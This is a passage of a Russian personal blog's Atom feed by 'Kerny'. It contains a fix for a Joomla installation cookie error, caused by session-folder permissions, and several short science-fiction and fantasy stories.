#0b5394;"&gt;#left&lt;/span&gt; {&lt;span class="Apple-style-span" style="color: #38761d;"&gt;/* ваше описание*/&lt;/span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;Таким образом можно создать неограниченное количество регионов, хотя я бы не советовал особо увлекаться.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3907615806353840625?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3907615806353840625/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/drupal-7.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3907615806353840625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3907615806353840625'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/drupal-7.html' title='Создание регионов в Drupal 7'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-ot3zM2YjOVY/Tf-G_v65vII/AAAAAAAAASM/oN3mIY20oG8/s72-c/7.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-3445676344387062989</id><published>2011-06-13T13:54:00.001+04:00</published><updated>2011-06-13T13:55:37.845+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web скитания'/><title type='text'>Ошибка cookie при установки joomla</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;При установки joomla на хостинг возникла ошибка:&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #444444; font-family: inherit;"&gt;&lt;i&gt;Возникла ошибка:&lt;br /&gt;Похоже, что в вашем вэб-браузере выключены cookie. Вы не сможете установить приложения, если эта функция будет выключена.&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span class="Apple-style-span" style="font-family: inherit;"&gt;На автомате проверил браузер, хотя даже не сомневался, что&amp;nbsp;cookie работают и это ошибка со стороны сервера, как выяснилось позже, так оно и оказалось. П&lt;/span&gt;ервым делом я обратился в google. Там мне предложили создать в корне web-сервера файл&amp;nbsp;&lt;span class="Apple-style-span" style="line-height: 16px;"&gt;.htaccess, с таким содержанием:&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="line-height: 15px; white-space: nowrap;"&gt;&lt;span class="Apple-style-span" style="color: #444444; font-family: inherit;"&gt;&lt;i&gt;php_value session.save_path /home/users/username/domanename/htdocs/tmp&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;То есть&amp;nbsp;прописать путь к папке, где&amp;nbsp;хранятся&amp;nbsp;временные файлы. Обрадовался, но быстро разочаровался, потому что это не помогло. Немного подумал, решил посмотреть какие ошибки возникают при установки и как они отображаются в логах&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #444444;"&gt;&lt;i&gt;[Mon Jun 13 12:51:01 2011] [error] [client 400.700.50.10] PHP Warning: &amp;nbsp;session_start() [function.session-start]: open(/var/www/base&lt;b&gt;/&lt;/b&gt;mod-tmp/sess_c57f195970c7f0c208ab05219a9c5c84, O_RDWR) failed: Permission denied (13) in&amp;nbsp;/var/www/base/o-mr.ru/libraries/joomla/session/session.php on line 423, referer: http://o-mr.ru/installation/index.php&lt;/i&gt;&lt;/span&gt;&lt;/blockquote&gt;Не нужно быть гением, чтобы понять, что временная папка, которая требуется joomla это&amp;nbsp;mod-tmp. Либо ее не существует на сервере, либо права доступа настроены не верно. У меня был второй вариант, подключившись к &amp;nbsp;web-server'у через ftp, перенастроил права доступа и все заработало!&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-3445676344387062989?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/3445676344387062989/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/cookie-joomla.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3445676344387062989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/3445676344387062989'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/cookie-joomla.html' title='Ошибка cookie при установки joomla'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-7386117814952711318</id><published>2011-06-05T21:18:00.002+04:00</published><updated>2011-06-05T21:18:58.406+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>Он на Луне.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: arial, verdana, tahoma, sans-serif; line-height: 19px;"&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;Луна. Кратер Коперника.&lt;br /&gt;Глубина -1802 метра относительно геоида. Восход.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Его дом просыпался первым. Бережно вытягивая своего хозяина из царства сна. Поднимались жалюзи, на единственном иллюминаторе впуская солнечные лучи. Включалась спокойная музыка обычно, что-нибудь из классики рок-н-рола. Шипела на сковороде яичница с кусочком размороженного только что мяса. Подогревался на плите чайник, начиная не замысловато посвистывать. Тихо жужжала вентиляционная система, обогащая воздух кислородом.&lt;br /&gt;Он открыл глаза и почувствовал тепло и уют. Настроение сразу поднялось. Улыбнувшись сам себе, он спрыгнул с просторной кровати и побрел на кухню. Попутно разжевывая освежающие пилюли.&lt;br /&gt;- Какая аппетитная яичница, - облизывая губы, сказал он сам себе, - Так, что у нас сегодня на десерт? Угу, как всегда ничего… - притворно огорчился он и начал завтракать.&lt;br /&gt;&lt;br /&gt;За иллюминатором очень медленно восходила Земля. Вся в серой дымке с черными атмосферными завихрениями и красной раскаленной точкой где-то в центре бывшей Евразии. Теперь расколотой на пять огромных материков и еще тысячу, а может и больше клочков суши. Впрочем, таких подробностей за атмосферной пылью было не разглядеть.&lt;br /&gt;Жужжание вентиляторов стихло. Джеймс закончил завтрак, посмотрел на электронный циферблат часов, и на его лице отразилось легкое нетерпение с каждой секундой становившееся более явным. Потом раздалась приятная и такая родная трель т-фона. Время радиомолчания закончилось. Джеймс неспешно приблизился к иллюминатору и ответил на звонок.&lt;br /&gt;- О! Джей уже проснулся? – раздался жизнерадостный немного с хрипотцой голос, возможно, причиной тому были помехи при передаче данных с обратной стороны луны, а возможно и нет. За ним на маленьком дисплее возникла чумазая физиономия с коротко стрижеными волосами, светлыми, как весенний ручей внимательными глазами и небольшим носом с горбинкой. – Я так ждал возможности с тобой поговорить.&lt;br /&gt;&lt;br /&gt;- Привет Алан! Да, уже не сплю, даже позавтракать успел, - ответил Джеймс, - рад, что мы снова на связи.&lt;br /&gt;- Чем планируешь сегодня заниматься? – поинтересовался чумазый человек, которого назвали Аланом.&lt;br /&gt;Джеймс хмыкнул и жестом указал системе воспроизводящей музыку убавить звук.&lt;br /&gt;- От чего-то мне кажется, что сегодня мы будем разговаривать весь день, а может еще и ночь, - ответил он, - ты же не против?&lt;br /&gt;- Нет, конечно, нет! Что за глупые вопросы? - притворно обиделся Алан.&lt;br /&gt;- Кстати Джей, - он вдруг посерьезнел, - давно хотел тебя спросить…&lt;br /&gt;- Спрашивай, не тяни, - коротко сказал Джеймс.&lt;br /&gt;- Во вселенной остались только мы. Мы двое, - начал, было, Алан.&lt;br /&gt;- Не факт, - перебил его Джей.&lt;br /&gt;- Не будем жить иллюзорными надеждами, - отрезал чумазый Алан и прикусил губу.&lt;br /&gt;- Неважно... Что ты хотел узнать? – отстраненно продолжил разговор Джеймс.&lt;br /&gt;- Зачем ты занимаешься своими исследованиями? Ведь это все равно, что писать книгу, которую никто ни когда не прочтет.&lt;br /&gt;Джей задумался. Прошелся взад вперед по комнате. Доедая оставшийся хлеб со стола. Потом коротко ответил:&lt;br /&gt;- Не знаю.… Некоторые книги нужно обязательно написать, не зависимо от того прочтут их или нет…. К тому же если ни чем не заниматься можно сойти с ума или умереть от скуки.&lt;br /&gt;Алан вздохнул. Его светлые глаза посерели. Изображение на экране т-фона дернулось и зарябило.&lt;br /&gt;- У меня тут гелий кончился, - сказал он как бы между делом. – Лучше бы подумал, как мне перебраться к тебе на станцию.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;Луна. Кратер Коперника.&lt;br /&gt;Глубина -1802,000003817 метра относительно геоида.&lt;br /&gt;Лунный день. Легкая сейсмическая активность.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;- Все-таки очень плохо, что кончился гелий, - теперь Джей повторял эту фразу у себя в сознании практически, каждые пять минут. Лишь за редким исключением ему удавалось отвлечься от этой назойливой мысли на больший промежуток времени. Станцию слегка трясло. Такое иногда случалось. Нужно срочно было выручать Алана. - Единственного человека во вселенной помимо самого Джея. Долгие беседы со светлоглазым Аланом бывало, помогали забыть о том, что остались только они. Казалось, сейчас глянешь в иллюминатор и увидишь зелено-голубой серп старушки Земли. Выйдешь в сеть и отправишь сообщение домой, а еще лучше запишешь целое видео послание и отправишь! А потом, еще приятнее! Получишь на него ответ!&lt;br /&gt;Он нетерпеливо переминался с ноги на ногу подле т-фона. Оставалось несколько минут, до того как искусственный спутник луны выйдет из «мертвой зоны». Джей постоянно бросал быстрые взгляды, на цифровые часы, отмеряющие очередные солнечные сутки на Луне. Время пришло. Он набрал код, на т-фоне вызывая Алана:&lt;br /&gt;-Да, Джей, - раздалось из стерео динамика.&lt;br /&gt;- Я придумал, как тебе перебраться ко мне на станцию, - быстро выпалил Джеймс.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;Луна. Кратер Коперника.&lt;br /&gt;Глубина -1802 метра относительно геоида. Закат.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Сначала зазвонил т-фон:&lt;br /&gt;- Это я. Открывай свою консервную банку по скорее! – сказал Алан, не привычным без хрипотцы голосом. Видимо она – хрипотца, действительно была следствием помех возникающих при передаче данных. Потом раздался неуклюжий грохот-стук в шлюз. Автоматическая система подняла ворота. Но камера шлюза так и осталась пуста, по крайней мере, программное сканирование говорило именно об этом.&lt;br /&gt;- Алан, ты где, - встревожено, спросил Джей в т-фон. Ответа не последовало. Это было странным. Джеймс вышел в камеру и убедился, что там действительно ни кого нет. Затем надел скафандр и отправился на поверхность. Довольно долго он бродил вокруг станции, но не нашел там никого. Даже следов. Даже следов! Тогда с кем он разговаривал?! Кто стучался в шлюз?!&lt;br /&gt;Медленно заходила Земля. Джей все еще ждал прихода Алана, неподвижно стоя возле шлюзовых ворот. Вокруг все посерело. Освещение вокруг станции, будто нарочно стало подергиваться и мерцать. Луна вращалась вокруг своей оси, вокруг Земли, вокруг Солнца. А его все не было. Пришлось войти назад, снять скафандр и уже неподвижно сидеть у окна-иллюминатора, ожидая непонятно чего. Любому дураку ведь понятно….&lt;br /&gt;Не с кем было разговаривать. Не с кем было молчать…. Только станция продолжала жить. Каждое утро все также играла музыка, жужжала вентиляция, поднимались жалюзи. Он впрочем, тоже скоро опомнился и даже стал глотать освежающие пилюли. Получать удовольствие от яичницы на завтрак. И даже принялся писать книгу, которую никто кроме него никогда не прочтет, но это уже не важно. Некоторые книги должны быть обязательно написаны…&lt;br /&gt;Однажды Джей надолго задержался у зеркала и испугал сам себя. Оттуда на него смотрели светлые, как весенний ручей пронзительные глаза.… Но это ничего, - испугаться.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;&lt;span class="bbc_left" style="display: block; text-align: left;"&gt;5 апреля 2011 г.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_right" style="display: block; text-align: right;"&gt;by Kerny&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-7386117814952711318?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/7386117814952711318/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/blog-post_1675.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7386117814952711318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/7386117814952711318'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/blog-post_1675.html' title='Он на Луне.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5237167575756072221</id><published>2011-06-05T21:17:00.002+04:00</published><updated>2011-06-05T21:17:43.816+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>Однажды…</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="color: #333333; line-height: 19px;"&gt;&lt;span class="Apple-style-span" style="font-family: Arial, Helvetica, sans-serif;"&gt;Светил фонарь, разгоняя вокруг себя тьму. Маленькая девочка по имени Миоки, с широко распахнутыми глазами и тревожно бьющимся сердцем подошла к кирпичной стене, в которой виднелся дверной проем. Над входом яркими огнями переливались изображение журавликов и китайских воздушных драконов. Синий, оранжевый, зеленый, красный, белый, желтый, сиреневый, снова синий. Ночь и тишина вокруг, далекий скрип трамвая, - большой бардовой гусеницы медленно и неотвратимо ползущей по городу.&lt;br /&gt;Миоки подняла руку и робко постучалась в дверь. Но тишина молчала, она была, не в настроении разговаривать. Девочка оглянулась по сторонам, сердце все также тревожно билось в груди. Затем засов на двери щелкнул и на пороге показался молодой человек здоровенного роста, с длинными до плеч волосами и носатым лицом. Сначала он не заметил Миоки, лишь кромешную тьму перед входом, нахмурился, хотел захлопнуть дверь, тогда девочка быстро сказала:&lt;br /&gt;- Весенние листья, кружащие в воздухе, разгоняют пушистых птенцов, которые совсем не могут летать.&lt;br /&gt;Здоровяк встрепенулся и выразительно взглянул на маленькую фигурку Миоки.&lt;br /&gt;- Маленьким девочкам вход запрещен, - сухо сказал он, но дверь закрывать не спешил, - иди домой уже поздно.&lt;br /&gt;- У вас сказано, что войти может любой желающий знающий заветную фразу – пароль, - невозмутимо ответила Миоки.&lt;br /&gt;- Да, верно.… Еще там сказано, что наше заведение для тех, кто хочет изменить свою жизнь.&lt;br /&gt;Дохнуло теплым ветром, приятно обжигая лицо. Большой человек с большим носом назидательно поднял палец к темному небу, где как раз пролетал небольшой грузовой флаэр.&lt;br /&gt;- Зачем такой юной девушке менять свою жизнь?&lt;br /&gt;- А с чего вы решили, что свою? – произнесла девочка, и принялась пристально рассматривать свои бело-черные башмаки.&lt;br /&gt;Здоровяк улыбнулся - печально и совсем без радостно.&lt;br /&gt;- Кхм…. Ну раз пришла, то заходи, - пробурчал он и освободил проход.&lt;br /&gt;&lt;br /&gt;Пройдя сквозь занавески-ленточки, сделанные из оберток от конфет Миоки оказалась внутри большой комнаты, плотно заставленной различными креслами, от плетеных до матово-замшевых. Девочка осмотрелась и мгновенно её душу, наполнил страх, впился в тело тысячами маленьких иголок. В креслах сидели развалившись, покачивались, бормотали что-то себе под нос старики. Здесь были одни старики!&lt;br /&gt;- Что они здесь делают …? – тихо спросила Миоки.&lt;br /&gt;- Вспоминают, - также тихо ответил человек с большим носом.&lt;br /&gt;- Что вспоминают? Кого вспоминают? Зачем? Ведь совсем не обязательно приходить сюда, чтоб вспоминать…&lt;br /&gt;- Всего лишь пушистый птенец…. Путешествуют по воспоминаниям - загадочно сказал здоровяк и вздохнул. - Пойдем дальше, будешь изменять жизнь…&lt;br /&gt;&lt;br /&gt;&lt;strong class="bbc" style="font-weight: bold !important;"&gt;&lt;span class="bbc_center" style="display: block; text-align: center;"&gt;***&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Светало, и гасли звезды в утреннем небе. Сквозь густой туман пробиралось красно-желтое солнце, косыми лучами просвечивая плотные занавески на окнах. Люди поздравляли друг друга с добрым утром. Город начинал жить.&lt;br /&gt;- Миоки, Миоки на космодром, наконец, прилетела ракета! – кричал рыжий веснушчатый парень, - одноклассник и лучший друг девочки.&lt;br /&gt;- Бе-беее тоже мне, ракета прилетела, и что с того! - не очень удачно скрывала свою радость Миоки, пытаясь раздразнить Сергея.&lt;br /&gt;Мальчик нахмурился:&lt;br /&gt;- Так, ты что же не хочешь посмотреть на ракету?&lt;br /&gt;- Конечно, хочу, дурачок! Побежали, кто последний тот алийский корратон! – весело выкрикнула Миоки и устремилась вперед, по гладкой дорожке черного асфальта. Деревья и кусты мелькали по сторонам, ветер свистел в ушах, напевая свою мелодию, наполненную десятками людских голосов. Сережа обогнал ее и теперь бежал далеко впереди иногда он оборачивался и ехидно смотрел назад. Когда космопорт был уже близко, он в очередной раз обернулся и громко выкрикнул:&lt;br /&gt;- Кажется я знаю кто будет алийским корратоном!&lt;br /&gt;&lt;br /&gt;Затем раздался скрип трамвая, а мальчик даже не успел понять, что произошло. Даже Миоки не сразу поняла. Только потом... была пустота, черная клякса на месте радостной улыбки и замысловатые белые оригами на мраморной плите…&lt;br /&gt;&lt;br /&gt;&lt;strong class="bbc" style="font-weight: bold !important;"&gt;&lt;span class="bbc_center" style="display: block; text-align: center;"&gt;***&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;Миоки очнулась в жестком плетеном кресле, которое слегка покачивалось из стороны в сторону. Большой человек с большим носом стоял рядом, и задумчиво смотрел на занавешенное, шторами окно. После некоторого молчания он сказал:&lt;br /&gt;- Путешествие по воспоминаниям, всё равно, что путешествие во времени.&lt;br /&gt;- Только нельзя ничего менять, - с досадой произнесла девочка.&lt;br /&gt;- Хм… если бы даже было можно, я бы не рискнул, - заметил незнакомец.&lt;br /&gt;- А я бы рискнула! – выкрикнула девочка и ее синие глаза наполнились слезами.&lt;br /&gt;- Теперь ты поняла, что ни в чем не виновата?&lt;br /&gt;- Я не знаю. Я хочу повидать его еще раз. Можно?&lt;br /&gt;- Можно, - кивнул человек, у которого был большой нос, - только не забывай, что в воспоминаниях можно застрять надолго или даже навсегда.&lt;br /&gt;- Тогда я, наверное, пойду, - не очень последовательно заявила девочка, вытирая рукавом слезы. – Почему вы не разбудите остальных? – Миоки указала на спящих в креслах.&lt;br /&gt;- Только так они… живые, счастливые понимаешь?&lt;br /&gt;- Нет, - испугалась девочка, - они, что не знают, что они спят? Вы их обманули?&lt;br /&gt;Человек с большим носом вздохнул.&lt;br /&gt;- Пушистый птенец… Они знают, что спят, только так им даже лучше.&lt;br /&gt;- Получается, они обманывают сами себя, но, кажется, я поняла зачем, - рассудила девочка.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Над выходом яркими огнями переливались изображение журавликов и китайских воздушных драконов. Сиреневый, желтый, белый, красный, зеленый, оранжевый, синий снова сиреневый. Щелкнул засов, на двери разгоняя вокруг себя тишину. На пороге показалась старая женщина, несколько десятков минут она стояла, вдыхая холодный воздух. Затем развернулась и скрылась в дверном проеме, плотно закрыв за собой дверь.&lt;br /&gt;&lt;br /&gt;Старую женщину звали Миоки…&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;18 марта 2011 г.&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_right" style="display: block; text-align: right;"&gt;by Кerny&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5237167575756072221?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5237167575756072221/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/blog-post_1418.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5237167575756072221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5237167575756072221'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/blog-post_1418.html' title='Однажды…'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5000522410608639592</id><published>2011-06-05T21:16:00.002+04:00</published><updated>2011-06-05T21:16:40.064+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>Магазин на улице Райд</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: arial, verdana, tahoma, sans-serif; line-height: 19px;"&gt;Вороны, клевавшие белую корку хлеба, внезапно разлетелись. Чихнул один из небесных богов и на улице Райд подул ветер, поднимая в воздух газеты, опавшие желтые листья и прочий мусор. Серые фасады зданий недовольно смотрели на мостовую, перешептываясь между собой. Лишь один магазин не принимал участие в их беседе. Там торговали книгами и всякими безделушками. На одной из самых дальних полок лежала старая книга. Она была незакончена...&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_center" style="display: block; text-align: center;"&gt;&lt;b&gt;***&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Ветер колыхал зеленую траву. Шумело и пенилось синее море, заостряя прибрежные скалы. В небе багровел закат, отдавая последнюю дань богу «Ра». День, который не имеет конца. День, застывший в бесконечности…&lt;br /&gt;&lt;span class="bbc_center" style="display: block; text-align: center;"&gt;&lt;br /&gt;&lt;b&gt;***&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;strong class="bbc" style="font-weight: bold !important;"&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;Там&lt;/em&gt;&lt;/strong&gt;&amp;nbsp;снова кто-то чихнул, а может быть, просто глубоко вздохнул или с силой выдохнул. И с востока холодной волной налетел ветер. Ударяясь о стенки домов, поднимая пыль, принося с собой запах теплых, свежеиспеченных булочек из соседней пекарни. Человек со странным именем Дайр почувствовал, как по телу пробежали мурашки и он поежился. Кутаясь в холодный, серый плащ и изредка шмыгая носом, он забежал в единственный открытый сегодня магазин. Как только стих звон колокольчика Дайр погрузился в тишину. Кромешную и полную, натужно звенящую.&lt;br /&gt;&lt;br /&gt;- Погода просто ужасная, говорил мне Энж одеваться теплее, - сказал он, ожидая услышать в ответ что-нибудь угрюмое и раздраженное. Но вместо этого до ушей донесся спокойный, тихий и немного писклявый голос:&lt;br /&gt;- Отчего же ты не послушал его? - Дайр обернулся, выискивая глазами обладателя столь интересного сопрано.&lt;br /&gt;- Кто говорит? - спросил он недоумевая.&lt;br /&gt;- Это я, - все тем же тоном сказал голос.&lt;br /&gt;- Кто «Я»? - произнес человек одетый в холодный, серый плащ, еще пристальнее рассматривая помещение.&lt;br /&gt;- Фарфоровая игрушка... - раздалось в ответ. - Я здесь подойди ближе...&lt;br /&gt;- Зачем? Какая такая игрушка? – растерялся Дайр.&lt;br /&gt;- Я же говорю – фарфоровая! Подойди ближе, - настаивала игрушка.&lt;br /&gt;&lt;br /&gt;Дайр подошел к одной из полок, увидел маленькую фарфоровую фигурку белки:&lt;br /&gt;- Но... но ведь игрушки не умеют говорить...&lt;br /&gt;- Прямо таки и не умеют? - парировала белка.&lt;br /&gt;- Да, не умеют! Это не возможно, - уверенно заявил Дайр.&lt;br /&gt;- Здесь все возможно. Не сомневайся. Лучше принеси книгу.&lt;br /&gt;- Какую?&lt;br /&gt;- «Обрыв Рос, твоя мечта», - сказала фигурка, - пятый стеллаж справа... Угу. Эта.… Читай. - Если бы фарфоровые белки могли улыбаться, то эта фигурка сейчас улыбалась бы очень широко.&lt;br /&gt;&lt;br /&gt;Дайр читал. Читал её прямо там, сначала стоя, потом сидя облокотившись на книжную полку. Изредка&amp;nbsp;&lt;strong class="bbc" style="font-weight: bold !important;"&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;там&lt;/em&gt;&lt;/strong&gt;&amp;nbsp;кто-то чихал, и порывы холодного осеннего ветра били по витринам, гулким эхом разлетаясь по помещению. Теперь уже не одна белка, а целый магазин с интересом наблюдал, как Дайр потянулся за скрипучим пером, достал с полки белую, из обожженной глины чернильницу...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_center" style="display: block; text-align: center;"&gt;&lt;b&gt;***&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Он смотрел на бушующее синее море, вдыхал его запах. На горизонте багровел закат, отдавая последнюю дань богу «Ра». Крик чаек оглашал окрестности. Подул ветер, и человек со странным именем Дайр обернулся. Ему не понравилось, то, что он увидел. Мир обернулся крупинкой льда… Старый магазин. Улица Райд. Грустные взгляды серых домов. Он взял льдинку в руки, и она превратилась в каплю воды. Дайр вытер её о негреющий тело, серый плащ. Рывком развернулся к бесконечному морю…&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;&lt;strong class="bbc" style="font-weight: bold !important;"&gt;Там&amp;nbsp;&lt;/strong&gt;&lt;/em&gt;только белые облака, летящие по холодному голубому небу, - подумал он.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;6 октября 2010 г.&lt;br /&gt;&lt;span class="bbc_right" style="display: block; text-align: right;"&gt;by Kerny&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5000522410608639592?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5000522410608639592/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/blog-post_677.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5000522410608639592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5000522410608639592'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/blog-post_677.html' title='Магазин на улице Райд'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-8568203197440931131</id><published>2011-06-05T21:15:00.000+04:00</published><updated>2011-06-05T21:15:21.862+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>В приемной у Господа-бога</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: arial, verdana, tahoma, sans-serif; line-height: 19px;"&gt;Очередь продвигалась крайне медленно.&lt;br /&gt;&lt;br /&gt;Впереди переступал с ноги на ногу пожилой старик устало печального вида, с глубокими синяками под глазами. Девочка с белым плюшевым медведем, у которого оторван один глаз. Негр в набедренной повязке с палкой-посохом в правой руке. Да молодая девушка с длинными, чуть ниже плеч, русыми волосами, приколотыми «бабочкой». Почему-то глядя на эту «бабочку» невольно вспоминалась одна очень древняя и очень мудрая фраза про цунами. Фраза была явно не к месту и ни ко времени. Точнее сказать времени здесь, как такового не существовало, впрочем, как и места. – Непонятная, молочного цвета прострация с белой дорожкой в центре. Как ни странно, но именно так выглядела приемная 